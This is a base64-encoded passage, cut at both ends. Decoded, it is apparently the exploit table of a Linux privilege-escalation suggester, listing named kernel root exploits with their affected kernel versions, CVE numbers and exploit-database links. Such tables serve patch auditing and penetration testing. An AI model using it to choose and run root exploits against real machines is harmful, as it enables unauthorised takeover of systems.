cyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA1JywKICAgIH0sCiAgICAncHJjdGwzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA2JywKICAgIH0sCiAgICAncHJjdGw0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDExJywKICAgIH0sCiAgICAncmVtYXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40J10gfSwKICAgICdyaXAnICAgICAgICA9PiB7IHZ1bG4gPT4gWycyLjInXSB9LAogICAgJ3N0YWNrZ3JvdzInID0+IHsgdnVsbiA9PiBbICcyLjQuMjknLCAnMi42LjEwJyBdIH0sCiAgICAndXNlbGliMjQnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMCcsICcyLjQuMTcnLCAnMi40LjIyJywgJzIuNC4yNScsICcyLjQuMjcnLCAnMi40LjI5JyBdCiAgICB9LAogICAgJ25ld3NtcCcgICA9PiB7IHZ1bG4gPT4gWycyLjYnXSB9LAogICAgJ3NtcHJhY2VyJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAogICAgJ2xvZ2lueCcgICA9PiB7IHZ1bG4gPT4gWycyLjQuMjInXSB9LAogICAgJ2V4cC5zaCcgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjEwJywgJzIuNi4xNicsICcyLjYuMTMnIF0gfSwKICAgICd2bXNwbGljZTEnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICAgICAgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI0LjEnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdqZXNzaWNhIGJpZWwnLAogICAgICAgIGN2ZSA9PiAnMjAwOC0wNjAwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MicsCiAgICB9LAogICAgJ3Ztc3BsaWNlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjIzJywgJzIuNi4yNCcgXSwKICAgICAgICBhbHQgID0+ICdkaWFuZV9sYW5lJywKICAgICAgICBjdmUgID0+ICcyMDA4LTA2MDAnLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MycsCiAgICB9LAogICAgJ3Zjb25zb2xlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNiddLAogICAgICAgIGN2ZSAgPT4gJzIwMDktMTA0NicsCiAgICB9LAogICAgJ3NjdHAnID0+IHsKICAgICAgICB2dWxuID0+IFsnMi42LjI2J10sCiAgICAgICAgY3ZlICA9PiAnMjAwOC00MTEzJywKICAgIH0sCiAgICAnZnRyZXgnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAwOC00MjEwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNjg1MScsCiAgICB9LAogICAgJ2V4aXRfbm90aWZ5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy84MzY5JywKICAgIH0sCiAgICAndWRldicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScgXSwKICAgICAgICBhbHQgID0+ICd1ZGV2IDwxLjQuMScsCiAgICAgICAgY3ZlICA9PiAnMjAwOS0xMTg1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvODQ3OCcsCiAgICB9LAoKICAgICdzb2NrX3NlbmRwYWdlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjAnLCAgJzIuNi4xJywKICAgICAgICAgICAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywgICcyLjYuNicsICAnMi42LjcnLAogICAgICAgICAgICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsICcyLjYuMTMnLAogICAgICAgICAgICAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywgJzIuNi4xOCcsICcyLjYuMTknLAogICAgICAgICAgICAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLAogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ3Byb3RvX29wcycsCiAgICAgICAgY3ZlID0+ICcyMDA5LTI2OTInLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy85NDM2JywKICAgIH0sCgogICAgJ3NvY2tfc2VuZHBhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNC40JywgICcyLjQuNScsICAnMi40LjYnLCAgJzIuNC43JywgICcyLjQuOCcsICAnMi40LjknLAogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xMScsICcyLjQuMTInLCAnMi40LjEzJywgJzIuNC4xNCcsICcyLjQuMTUnLAogICAgICAgICAgICAnMi40LjE2JywgJzIuNC4xNycsICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLAogICAgICAgICAgICAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnLCAnMi40LjI1JywgJzIuNC4yNicsICcyLjQuMjcnLAogICAgICAgICAgICAnMi40LjI4JywgJzIuNC4yOScsICcyLjQuMzAnLCAnMi40LjMxJywgJzIuNC4zMicsICcyLjQuMzMnLAogICAgICAgICAgICAnMi40LjM0JywgJzIuNC4zNScsICcyLjQuMzYnLCAnMi40LjM3JywgJzIuNi4wJywgICcyLjYuMScsCiAgICAgICAgICAgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsICAnMi42LjYnLCAgJzIuNi43JywKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywKICAgICAgICAgICAgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywKICAgICAgICAgICAgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI1JywKICAgICAgICAgICAgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICd3dW5kZXJiYXJfZW1wb3JpdW0nLAogICAgICAgIGN2ZSA9PiAnMjAwOS0yNjkyJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvOTQzNScsCiAgICB9LAogICAgJ3VkcF9zZW5kbXNnXzMyYml0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLCAgJzIuNi42JywKICAgICAgICAgICAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLCAnMi42LjEyJywKICAgICAgICAgICAgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLCAnMi42LjE4JywKICAgICAgICAgICAgJzIuNi4xOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMjY5OCcsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL2Rvd25sb2Fkcy5zZWN1cml0eWZvY3VzLmNvbS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvMzYxMDguYycsCiAgICB9LAogICAgJ3BpcGUuY18zMmJpdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjE1JywgJzIuNi4xNicsCiAgICAgICAgICAgICcyLjYuMTcnLCAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsCiAgICAgICAgICAgICcyLjYuMjMnLCAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMzU0NycsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy8zNjkwMS0xLmMnLAogICAgfSwKICAgICdkb19wYWdlc19tb3ZlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnc2lldmUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0wNDE1JywKICAgICAgICBtaWwgPT4gJ1NwZW5kZXJzIEVubGlnaHRlbm1lbnQnLAogICAgfSwKICAgICdyZWlzZXJmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMTE0NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEyMTMwJywKICAgIH0sCiAgICAnY2FuX2JjbScgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC0yOTU5JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTQ4MTQnLAogICAgfSwKICAgICdyZHMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgICAgICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTUyODUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zOTA0JywKICAgIH0sCiAgICAnaGFsZl9uZWxzb24xJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywKICAgICAgICAgICAgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ2Vjb25ldCcsCiAgICAgICAgY3ZlID0+ICcyMDEwLTM4NDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNzc4NycsCiAgICB9LAogICAgJ2hhbGZfbmVsc29uMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdlY29uZXQnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zODUwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTc3ODcnLAogICAgfSwKICAgICdoYWxmX25lbHNvbjMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnZWNvbmV0JywKICAgICAgICBjdmUgPT4gJzIwMTAtNDA3MycsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE3Nzg3JywKICAgIH0sCiAgICAnY2Fwc190b19yb290JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicgXSwKICAgICAgICBjdmUgID0+ICduL2EnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTkxNicsCiAgICB9LAogICAgJ2FtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC00MzQ3JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYmlkLzQ1NDA4JywKICAgIH0sCiAgICAncGt0Y2R2ZCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEwLTM0MzcnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTE1MCcsCiAgICB9LAogICAgJ3ZpZGVvNGxpbnV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMzA4MScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE1MDI0JywKICAgIH0sCiAgICAnbWVtb2RpcHBlcicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjM5JywgJzMuMC4wJywgJzMuMC4xJywgJzMuMC4yJywgJzMuMC4zJywgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTItMDA1NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE4NDExJywKICAgIH0sCiAgICAnc2VtdGV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMzcnLCAnMi42LjM4JywgJzIuNi4zOScsICczLjAuMCcsICczLjAuMScsICczLjAuMicsCiAgICAgICAgICAgICczLjAuMycsICAnMy4wLjQnLCAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI1NDQ0JywKICAgIH0sCiAgICAncGVyZl9zd2V2ZW50JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICczLjAuMCcsICczLjAuMScsICczLjAuMicsICczLjAuMycsICczLjAuNCcsICczLjAuNScsCiAgICAgICAgICAgICczLjAuNicsICczLjEuMCcsICczLjIuMCcsICczLjMuMCcsICczLjQuMCcsICczLjQuMScsCiAgICAgICAgICAgICczLjQuMicsICczLjQuMycsICczLjQuNCcsICczLjQuNScsICczLjQuNicsICczLjQuOCcsCiAgICAgICAgICAgICczLjQuOScsICczLjUuMCcsICczLjYuMCcsICczLjcuMCcsICczLjguMCcsICczLjguMScsCiAgICAgICAgICAgICczLjguMicsICczLjguMycsICczLjguNCcsICczLjguNScsICczLjguNicsICczLjguNycsCiAgICAgICAgICAgICczLjguOCcsICczLjguOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI2MTMxJywKICAgIH0sCiAgICAnbXNyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgICAgICcyLjYuMzUnLCAnMi42LjM2JywgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMC4wJywKICAgICAgICAgICAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgICczLjAuNScsICAnMy4wLjYnLAogICAgICAgICAgICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLCAgJzMuNS4wJywgICczLjYuMCcsCiAgICAgICAgICAgICczLjcuMCcsICAnMy43LjYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEzLTAyNjgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yNzI5NycsCiAgICB9LAogICAgJ3RpbWVvdXRwd24nID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuNC4wJywgICczLjUuMCcsICAnMy42LjAnLCAgJzMuNy4wJywgICczLjguMCcsICAnMy44LjknLCAKICAgICAgICAgICAgJzMuOS4wJywgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC41JywgICczLjguNicsICAKICAgICAgICAgICAgJzMuOC45JywgICczLjkuMCcsICAnMy45LjYnLCAgJzMuMTAuMCcsICczLjEwLjYnLCAnMy4xMS4wJywKICAgICAgICAgICAgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xMy4xJwogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDE0LTAwMzgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8zMTM0NicsCiAgICB9LAogICAgJ3Jhd21vZGVQVFknID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLCAnMi42LjM2JywKICAgICAgICAgICAgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMTQuMCcsICczLjE1LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTQtMDE5NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vcGFja2V0c3Rvcm1zZWN1cml0eS5jb20vZmlsZXMvZG93bmxvYWQvMTI2NjAzL2N2ZS0yMDE0LTAxOTYtbWQuY